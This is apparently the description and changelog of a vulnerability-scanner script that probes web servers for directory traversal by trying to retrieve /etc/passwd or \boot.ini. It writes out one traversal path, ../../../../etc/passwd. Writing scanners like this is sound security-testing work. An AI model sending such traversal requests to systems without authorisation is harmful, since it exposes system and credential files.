Checks if a web server is vulnerable to directory traversal by attempting to
retrieve /etc/passwd
or \boot.ini
using various traversal methods such as
requesting ../../../../etc/passwd
.

-- 07/20/2007:
-- * Used Thomas Buchanan's HTTPAuth script as a starting point
-- * Applied some great suggestions from Brandon Enright, thanks a lot man!
--
-- 01/31/2008:
-- * Rewritten to use Sven Klemm's excellent HTTP library and to do some much
-- needed cleaning up
--
-- 06/2010:
-- * Added Microsoft Windows (XP and previous) support by also looking for
-- \boot.ini
-- * Added specific payloads according to vulnerabilities published against
-- various specific products.
